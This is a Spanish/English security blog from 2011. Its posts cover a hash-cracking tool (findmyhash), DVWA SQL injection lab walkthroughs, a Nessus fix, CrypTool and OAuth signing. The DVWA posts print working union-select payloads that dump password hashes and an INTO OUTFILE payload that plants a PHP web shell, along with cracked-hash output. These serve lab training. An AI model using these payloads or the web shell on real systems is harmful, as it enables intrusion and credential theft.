30 de septiembre de 2011

New version of findmyhash


We have published findmyhash version 1.1.0. It adds two new online services and it supports 7 new algorithms.

New online services are:


List of complete supported algorithms is:

  • MD4
  • MD5
  • SHA1
  • SHA224
  • SHA256
  • SHA384
  • SHA512
  • RMD160
  • GOST
  • WHIRLPOOL
  • LM
  • NTLM
  • MYSQL (3, 4 y 5)
  • CISCO7
  • JUNIPER
  • LDAP_MD5
  • LDAP_SHA1


The project URL is:
http://code.google.com/p/findmyhash/

You can download the application from here:
http://code.google.com/p/findmyhash/downloads/list

Nueva versión de findmyhash

Hemos publicado la versión 1.1.0 de findmyhash en la que añadimos dos nuevos servicios online y soporte para 7 nuevos algoritmos.

Los nuevos servicios online son:


El listado completo de los algoritmos soportados es:

  • MD4
  • MD5
  • SHA1
  • SHA224
  • SHA256
  • SHA384
  • SHA512
  • RMD160
  • GOST
  • WHIRLPOOL
  • LM
  • NTLM
  • MYSQL (3, 4 y 5)
  • CISCO7
  • JUNIPER
  • LDAP_MD5
  • LDAP_SHA1


Podéis acceder al proyecto en la URL:
http://code.google.com/p/findmyhash/

Podéis descargar directamente la nueva versión desde:
http://code.google.com/p/findmyhash/downloads/list

26 de septiembre de 2011

DVWA + findmyhash - PoC

En la entrada anterior os presentamos findmyhash, un script en Python que busca en bases de datos online para romper diferentes algoritmos de hash.

Hoy os vamos a mostrar un ejemplo de cómo utilizarlo aplicándolo a la serie de entradas que estamos publicando sobre DVWA.

En las pruebas de inyección de código SQL habíamos conseguido extraer los hashes de las contraseñas de los usuarios pero nos habíamos quedado ahí, sin haber llegado a romper dichos hashes. Para ello es para lo que vamos a utilizar findmyhash.

Si extraemos el listado de usuarios y sus respectivos hashes de la base de datos tenemos:
admin : 5f4dcc3b5aa765d61d8327deb882cf99
gordonb : e99a18c428cb38d5f260853678922e03
1337 : 8d3533d75ae2c3966d7e0d4fcc69216b
pablo : 0d107d09f5bbe40cade3de5c71e9e9b7
smithy : 5f4dcc3b5aa765d61d8327deb882cf99
Ahora crearemos un fichero con tan sólo los hashes, de manera que nuestro fichero "/tmp/hashes.txt" contendrá:
5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b
0d107d09f5bbe40cade3de5c71e9e9b7
Como veis he eliminado el último hash por ser exactamente el mismo que el primero y así realizar menos peticiones.

Si lanzamos findmyhash, sabiendo que son hashes MD5, obtenemos un resultado como el siguiente:

$ python findmyhash.py MD5 -f /tmp/hashes.txt

Cracking hash: 5f4dcc3b5aa765d61d8327deb882cf99

Analyzing with hashcracking 
  (http://md5.hashcracking.com)...

***** HASH CRACKED!! *****
The original string is: password


Cracking hash: e99a18c428cb38d5f260853678922e03

Analyzing with md5hashcracker 
  (http://md5hashcracker.appspot.com)...

***** HASH CRACKED!! *****
The original string is: abc123


Cracking hash: 8d3533d75ae2c3966d7e0d4fcc69216b

Analyzing with c0llision 
  (http://www.c0llision.net)...

***** HASH CRACKED!! *****
The original string is: charley


Cracking hash: 0d107d09f5bbe40cade3de5c71e9e9b7

Analyzing with md5hashcracker 
  (http://md5hashcracker.appspot.com)...

***** HASH CRACKED!! *****
The original string is: letmein


The following hashes were cracked:
----------------------------------

5f4dcc3b5aa765d61d8327deb882cf99 -> password
e99a18c428cb38d5f260853678922e03 -> abc123
8d3533d75ae2c3966d7e0d4fcc69216b -> charley
0d107d09f5bbe40cade3de5c71e9e9b7 -> letmein

Con esto ya tendríamos las contraseñas de todos los usuarios ;)


23 de septiembre de 2011

"Cracking" hashes with findmyhash

findmyhash is a Python script which has been developed to "crack" different types of password hashes using multiple cracking online services.

The goal of this application is to increase cracking chances when you don't have the correct Rainbow Table. So you only have to use findmyhash which will search in several online databases automatically.

Right now, it supports nine different hash algorithms: MD4, MD5, SHA1, SHA256, RMD160, MYSQL, CISCO7, LM and NTLM.

We have mainly test it with MD5, LM and NTLM hashes because they are the most common ones. The results are very good and we can say that with LM / NTLM, findmyhash can crack between 60 and 70% of the hashes if you specify both values

We have conducted these tests with 100 actual password hashes (extracted from real Active Directories) and we could crack passwords like "Dba$23.8-J", "Jua!gar8012", "$3St4P4$_0rDd3" or "7:23^Xl0|aY.6=".

We encourage you to test findmyhash and to give us your feedback.

The project URL is:

You can download the application from here:

"Crackeando" hashes con findmyhash

findmyhash es un script (¿aplicación?) desarrollado en Python que utiliza un total de 49 servicios online de crackeo de contraseñas.

El objetivo con el que hemos desarrollado esta aplicación es aumentar las posibilidades de romper un hash en aquellas situaciones en las que no disponemos de las Rainbow Tables necesarias. De esta manera, basta con introducir nuestros hashes en la aplicación y ella se encarga de buscarla en diferentes bases de datos online mostrando el resultado final.

Actualmente soporta diez tipos de hashes (algoritmos) diferentes: MD4, MD5, SHA1, SHA256, RMD160, LM, NTLM, MYSQL, CISCO7 y JUNIPER.

Hasta ahora, hemos realizado pruebas principalmente con MD5, LM y NTLM, por ser los más habituales, con unos resultados bastantes satisfactorios. En el caso de LM / NTLM, por ejemplo, existe un porcentaje de acierto de entre el 60 y el 70% (siempre y cuando se disponga del hash LM).

Para realizar estas pruebas hemos utilizado un total de 100 hashes de contraseñas reales (que se están/estaban utilizando en algún directorio activo) con ejemplos como: "Dba$23.8-J", "Jua!gar8012", "$3St4P4$_0rDd3" ó "7:23^Xl0|aY.6=".

Os animamos a que la probéis y nos digáis si os gusta y qué modificaríais / añadiríais.

La URL del proyecto es:
http://code.google.com/p/findmyhash/

Y podéis descargar la aplicación directamente desde aquí:
http://code.google.com/p/findmyhash/downloads/list

21 de septiembre de 2011

Premios Bitácora 2011

Como ya sabréis, se están celebrando los Premios Bitácora 2011 que organiza todos los años la informacion.com.

Hoy he podido comprobar que estamos participando en la categoría de mejor blog de seguridad. Así que en primer lugar quiero dar las gracias a todos aquellos que nos habéis votado, por creer en nosotros. Y a los que no lo hayáis hecho os animo a que, si os está gustando el contenido que publicamos, nos votéis.

Podéis ver la clasificación actual en el siguiente enlace y desde ahí mismo se puede pasar a votar:

http://blogs.lainformacion.com/premiosbitacoras/2011/09/21/clasificacion-parcial-i-mejor-blog-sobre-seguridad-informatica-2/

También aprovecho para animaros a que nos sigáis en las diferentes redes sociales, ya que muchas noticias y otro contenido que no hemos realizado nosotros, lo publicamos directamente desde ellas. Las direcciones son:

twitter: @laXmarcaellugar
Google+: https://plus.google.com/100517723537941701707/posts
Facebook: https://www.facebook.com/pages/La-X-marca-el-lugar/175932832480227

¡Muchas gracias a todos!

19 de septiembre de 2011

DVWA - SQLi nivel medio (III)

Es el turno del nivel medio de la sección de inyección de código SQL del DVWA. Lo primero, como siempre, es seleccionar en el nivel “medium”.

Tenemos que ver el modo en el que podríamos empezar a inyectar. Igual que en el modo low podemos probar a ver qué pasa al introducir una comilla simple:


El resultado obtenido es el siguiente:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

En pocas palabras, dice que está “escapando” el carácter de comilla simple y, por tanto, tratándolo como si fuera una cadena de caracteres. No vamos a poder usar esta técnica, como en el punto anterior.

Tendríamos que probar ahora que clase de caracteres podemos introducir, así pues introducimos por un lado un carácter y por otro lado un número y veamos cómo responde:

Probamos introduciendo una letra.
Introducimos un número.

Pues parece que los caracteres no los acepta. Sin embargo al introducir un número tal como "1", nos devuelve lo que parece el primer resultado de una tabla. Si introducimos números sucesivos, nos devolverá otros resultados.

El resto de las peticiones son bastante parecidas a las del nivel low, sólo era cuestión de encontrar un punto de entrada. Recordad que no se pueden usar comillas simples, aunque probablemente tampoco se puedan usar otros tipos de caracteres como las comillas dobles.

Bien, probemos la siguiente petición, a ver qué tal sale:


Bueno, parece que hemos conseguido un punto de entrada adecuado. Probemos a realizar las pruebas tal y como las hicimos en el apartado anterior, teniendo en cuenta que no debemos usar comillas. Usaremos directamente la sentencia que nos proporcionó los hashes de la base de datos:

1 and 1 = 0 union select user, Password from users --


Tal y como hicimos en ocasiones previas explicamos un poco la sentencia usada:

  • 1 and 1 = 0: lo igualamos a 0 porque no queremos que nos saque otros resultados que no sean los hashes.
  • El resto de la sentencia es evidente, y terminamos cerrándola con – para que lo posterior no lo interprete y aparezca como si fuera un comentario, cerrando la sentencia de esta forma.

Y ya tenemos otra vez los hashes deseados.


15 de septiembre de 2011

DVWA - SQLi nivel low (II)

En esta segunda parte de practicar con esta distro vamos a probar a realizar SQL injection en el nivel fácil. El nivel medio no es muy diferente, las técnicas son similares, pero el modo de conseguir acceso es algo distinto. Lo dejaremos para el siguiente post.

Lo primero como siempre es ponerlo en el nivel "low".

Tenemos que ver el modo en el que podríamos empezar a inyectar. Lo cierto es que en este nivel, verlo va a ser rápido. Podemos probar por meter una comilla simple en el cuadro, y ver el resultado obtenido:


El error lo muestro a continuación:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ''' at line 1

Lo que viene a indicar que no se está utilizando una sintaxis correcta en la sentencia SQL. Más concretamente, está quejándose de que faltan unas comillas simples. Introduciendo dos comillas simples obtendremos lo siguiente:


Y esto indicaría que la sentencia SQL se ha ejecutado correctamente, pero que no le hemos solicitado nada (no le hemos hecho una consulta que devuelve datos). Ojo, una consulta sí que hemos realizado, sólo que no una que devuelva resultados.

Así que la idea es introducir algo en la consulta que se está realizando ya de por sí. Probablemente será algo del tipo select * from tabla where algo='$algo'. Al introducir parámetros en el recuadro quedaría algo tal como:

select * from tabla where algo=''lo que hemos introducido''

(lo que resalto en rojo es la cadena que introducimos/inyectamos directamente desde el cuadro de texto)

Bien, vamos a lo interesante, a que empiece a darnos resultados. Probaremos lo siguiente:

' union select table_name, null from information_schema.tables -- '


La explicación de lo que hemos introducido es la siguiente:

  • La primera comilla cierra la primera query,
  • union sirve para unir la primera consulta, la de la aplicación, con la nuestra
  • el resto sirve para obtener el listado de tablas del esquema de la base de datos
  • -- ' , al final, sirve para decir que lo que sigue a continuación es un comentario y así ignorar el resto de la consulta de la aplicación web.

En vez de null, podríamos haber puesto cualquier dato numérico, simplemente sirve para sacar el listado de tablas en el valor "First name" y nada en el valor "Surname"

Así que seguimos adelante. Vamos a obtener de la tabla usuario la columna de password:

' union select table_name, column_name from information_schema.columns where table_name='user' -- '


Y finalmente tenemos la tabla user con la columna "Password". Devuelve muchos más resultados, pero he mostrado directamente los que nos interesa.

Ya sólo falta obtener el contenido de esta columna, y con eso tendríamos lo que buscamos, más o menos.

La nueva consulta que introduciremos para obtener estos resultados es:

' union select user, Password from users -- '


Y ya tenemos lo que buscábamos: los hashes de las contraseñas. Ahora a divertirse averiguando a que corresponde cada uno de esos hashes obtenidos.

Bien, el siguiente paso por mi parte, aparte de conseguir las contraseñas, sería intentar conseguir una consola. En este caso es bastante sencillo. Solo tenemos que modificar nuestra consulta un poco.

La consulta que hemos contruido es la siguiente:

' union select "<? system($_REQUEST['cmd']); ?>", null from information_schema.columns INTO OUTFILE "/opt/lampp/htdocs/hackable/uploads/shell.php" -- '


Como se puede observar, no muestra ningún tipo de datos de salida, es como si no hubiera funcionado. Esto es por lo siguiente:

  • Con INTO OUTFILE "/opt/lampp/htdocs/hackable/uploads/shell.php" le estamos diciendo que vuelque a ese fichero la salida. Tiene que ser esa ruta concreta porque es de donde puede leer el servidor web. Os dejo averiguar cómo saber que esa es la ruta (o leer el anterior post de DVWA).

Os muestro una captura de lo que se podría conseguir con el comando adecuado:


Lo que he usado es lo siguiente, introduciéndolo en la barra del navegador:

http://192.168.1.105/hackable/uploads/shell.php?cmd=ls -lh ../

No es la mejor manera de hacerlo, pero sirve como prueba de concepto.

12 de septiembre de 2011

Nessus y CentOS - Resolviendo algunos problemas

Resulta que estábamos en cierta ocasión realizando una auditoría de caja blanca a un sistema operativo CentOS 5.3, con tan mala suerte que lo habían securizado.

Al iniciar la auditoría, a pesar de que teníamos credenciales como root en el sistema a analizar, Nessus nos devolvía la siguiente pantalla:


Aunque las credenciales sean válidas, si el plugin de Nessus no es capaz de identificar qué tipo de sistema es, nos va a responder diciendo que las credenciales son inválidas o que el sistema no está soportado, como se puede observar.

Buscando cómo realizaba Nessus este tipo de comprobación, llegamos a localizar el plugin con el cual realizaba la autenticación. Para el caso de nuestra instalación el plugin es: /opt/nessus/lib/nessus/plugins/ssh_get_info.nasl.

Analizando el fichero (ssh_get_info.nasl), llegamos a un punto en el que observamos que analizaba el contenido del fichero /etc/redhat-releases (entre otros) de la máquina objetivo del análisis para tratar de identificar con qué sistema estaba trabajando.

Hay un punto concreto en el que realiza lo siguiente:

[...]
(524) buf = info_send_cmd(cmd: "cat /etc/redhat-release");
[...]
(580) else if ( "CentOS" >< buf )
[...]

La línea 524 lo que hace es leer el contenido del fichero /etc/redhat-release del sistema objetivo, mientras que la línea 580 comprueba si la cadena "CentOS" está contenida en la variable 'buf' (que almacena el contenido del fichero).

La forma fácil de solucionar nuestro problema es modificar el contenido original del fichero /etc/redhat-release de la máquina a auditar añadiendo una línea con la cadena "CentOS release 5 (Final)" para que el plugin de Nessus, al pasar por la línea 580, detecte el sistema. Y efectivamente, al realizar de nuevo el análisis con esto modificado, el resultado es lo que se muestra a continuación:


Es decir, nos permite loguearnos por ssh en el sistema analizado y sacar los resultados que esperábamos.

PD: Mis agradecimientos a Fernando Saavedra, compañero y colega que siempre está dispuesto a ponerse a investigar todo lo que va surgiendo.

8 de septiembre de 2011

CrypTool, un acercamiento a la criptografía

Hoy voy a hablaros de una herramienta que, aunque tenga un objetivo docente, puede llegar a ser muy útil para tratar temas de cifrado y criptoanálisis.

La herramienta en cuestión es CrypTool. En la actualidad existen diferentes cuatro ramas de desarrollo: 1.x (la rama principal), 2.0 (que cambia completamente respecto a la anterior, siendo ésta más orientada a la docencia), JCrypTool (multiplataforma al estar desarrollada en Java) y CrypTool online (más pobre que las anteriores, pero también merece darse un paseo por la web).

Yo voy a hablaros de la que, en mi opinión y por mi profesión, considero más útil y es la de la rama principal, que va por la versión 1.4.30.

¿Qué nos ofrece CrypTool?

Pues prácticamente nos permite realizar cualquier operación relacionada con la criptografía. Por un lado existe la posibilidad de utilizar cifrados clásicos (César, Vigenère, Vernam, Solitario...) así como algunos de los actuales, tanto simétricos (DES, Triple DES, Rijndael...) como asimétricos (RSA y otros cifrados híbridos).


También se pueden calcular diferentes hashes, firmar digitalmente documentos a partir de claves que se pueden crear directamente desde la aplicación o incluso importando tus certificados externos, aplicar diferentes algoritmos de codificación...


Por otro lado, nos ofrece algunas herramientas que pueden ayudar durante un criptoanálisis. Así, se puede calcular la entropía de un texto, realizar un análisis de frecuencias de los caracteres utilizados así como de n-gramas, calcular la autocorrelación, la periodicidad...

También tiene algunos métodos de criptoanálisis automáticos implementados para casos de los que sólo se disponga del texto cifrado o con texto claro conocido. Para los algoritmos más complejos, presenta asistentes que automatiza algunas partes del procedimiento.

Resultado de criptoanálisis automático a alg. César

¿"Sólo" esto?

Como dije al principio, el objetivo principal de la herramienta es formar a la gente sobre criptografía. De este modo, tiene módulos que explican de una manera muy visual e interactiva conceptos que pueden resultar complejos al principio como diferentes tipos de ataques (MitM, Side Channel Attack...), algoritmos de firma o de autenticación, etc.


Os recomiendo que le echéis un vistazo porque puede llegar a ser bastante útil en muchas situaciones en las que necesitamos cifrar un determinado texto o utilizar cierto algoritmo; además de para refrescar conceptos que tengamos un poco oxidados por no haberlos utilizado mucho.

La web principal del proyecto es:

http://www.cryptool.org/

2 de septiembre de 2011

El protocolo de autenticación OAuth. Métodos de firma (IV)


En la entrada anterior del hilo vimos cuál es el proceso que sigue un usuario para autorizar a una aplicación cliente acceder a sus recursos. A partir de ese momento, todas las peticiones que la aplicación cliente realiza al servidor identifican tanto a ésta como al usuario pero ¿cómo hace para que el servidor sepa con qué usuario se corresponde y a través de qué aplicación está accediendo? Fácil, por medio de firma digital.

OAuth soporta tres tipos de "firma" digital: HMAC-SHA1, RSA-SHA1 y PLAINTEXT (aunque éste último no es un tipo de firma como ahora veremos, de ahí las comillas). El método de firma a utilizar en cada caso depende únicamente de la elección que haga el servidor, ya que son las aplicaciones cliente las que tienen que adaptarse a la implementación que se haya hecho de OAuth. De este modo los servidores, al publicar sus APIs, especifican el tipo o tipos de firma que soportan.

Aquellos que sepan algo de criptografía y conozcan los algoritmos de firma digital sabrán que para llevarse a cabo hace falta, por un lado, una cadena o un mensaje que será lo que se va a firmar y, por otro lado, una clave con la que realizar la firma. En el caso de utilizar un algoritmo de firma simétrica, será necesario que la clave la conozcan ambas partes de la comunicación para que una pueda verificar que la firma de la otra parte es correcta. Sin embargo, si se utiliza firma asimétrica, la parte firmante utilizará su clave privada (que es secreta) para que el destinatario pueda verificarla con la clave pública que recibió anteriormente.

En el caso de OAuth, el algoritmo simétrico soportado es HMAC-SHA1 mientras que el asimétrico es RSA-SHA1. En ambos casos, la cadena (el mensaje) que se firma se calcula de la misma forma, que viene a ser la concatenación (por medio de '&') del método HTTP utilizado en la petición (GET, POST, PUT, DELETE...), la URI base normalizada y un listado de todos los parámetros enviados en la petición ordenados y normalizados.

Entre los parámetros no sólo se incluyen aquellos que van por GET o POST, sino también partes de la cabecera HTTP Authorization, que es a través de la que se suelen enviar los parámetros de OAuth (aunque también se pueden añadir en la URL o en el cuerpo de la petición).

Vamos a verlo con un ejemplo. Imaginad la siguiente petición HTTP:

POST /recurso.html?param_GET=value1 HTTP/1.1
Host: example.com:443
Content-Length: 17

param_POST=value2

Antes de generar la cadena, tenemos que añadirle los parámetros OAuth que servirán para identificar esta petición. Dichos parámetros son:

  • oauth_consumer_key: el consumer key asociado al cliente.
  • oauth_nonce: un token de petición que será único (en combinación con el timestamp, consumer_key y token).
  • oauth_signature_method: método de firma utilizado (HMAC-SHA1, RSA-SHA1 ó PLAINTEXT).
  • oauth_timestamp: Unix timestamp del momento de la petición.
  • oauth_token: access token del usuario (del resource owner).
  • oauth_version: versión de OAuth. Lo más normal es que sea "1.0"

Ahora sí, la cadena resultante será (con valores de ejemplo para los parámetros anteriores):

POST&https%3A%2F%2Fexample.com%2Frecurso.html&oauth_consumer_key%3Dg1S1C08SXq2j%26oauth_nonce%3DT45y1iVuU56v%26oauth_signature_method%3DHMAC-SHA1%26oauth_timestamp%3D1314969840%26oauth_token%3D1KbuMvTOPSA3%26oauth_version%3D1.0%26param_GET%3Dvalue1%26param_POST%3Dvalue2

Ahora aplicamos el algoritmo de firma que hayamos seleccionado (en el ejemplo HMAC-SHA1). En este caso, la clave se construye concatenando (&) el consumer secret y el access secret: Cj6mkF3ug1Ac&eAPJQ9g8xh2B. De manera que el resultado de la firma es (en base64):

N+T8THCg9CHknmt50UNTPZE3ZAk=

Al final, la petición quedaría de la siguiente manera:

POST /recurso.html?param_GET=value1 HTTP/1.1
Host: example.com:443
Authorization: OAuth realm="https://example.com/recurso.html",
    oauth_consumer_key="g1S1C08SXq2j",
    oauth_token="1KbuMvTOPSA3",
    oauth_nonce="T45y1iVuU56v",
    oauth_timestamp="1314969840",
    oauth_signature_method="HMAC-SHA1",
    oauth_version="1.0",
    oauth_signature="N%2BT8THCg9CHknmt50UNTPZE3ZAk%3D"
Content-Length: 17

param_POST=value2

De este modo, en la petición se recoge desde qué aplicación se está accediendo (consumer key y consumer secret) y en nombre de qué usuario (access token y access secret). Además se provee de integridad en la petición por el simple hecho de ir firmada y de un mecanismo contra ataques de replay (reenvío de peticiones) por medio del nonce y el timestamp.

En el caso de RSA-SHA1, se utiliza el algoritmo RSASSA-PKCS1-v1_5:

oauth_signature = RSASSA-PKCS1-v1_5 (K, M)

siendo M la cadena que hemos creado antes y K la clave RSA privada del cliente.

El caso de PLAINTEXT es diferente debido a que no se llega a firmar ninguna cadena. En este caso, el valor del parámetros oauth_signature se construye como la concatencación (&) consumer secret y el access secret, que se envían en texto plano.

Como podréis imaginaros, este mecanismo sólo es recomendable en el caso de utilizar un canal seguro como pueden ser SSL o TLS. De no ser así (o si se llevara a cabo un ataque Man-in-the-Middle), se podrían suplantar las identidades del cliente y del usuario ante el servidor; es decir, se podría acceder a los recursos del usuario en nombre del cliente.

Si queréis ver cómo funciona todo esto de un modo más práctico, os recomiendo el siguiente enlace:

http://hueniverse.com/2008/10/beginners-guide-to-oauth-part-iv-signing-requests/

¡Hasta la próxima entrada!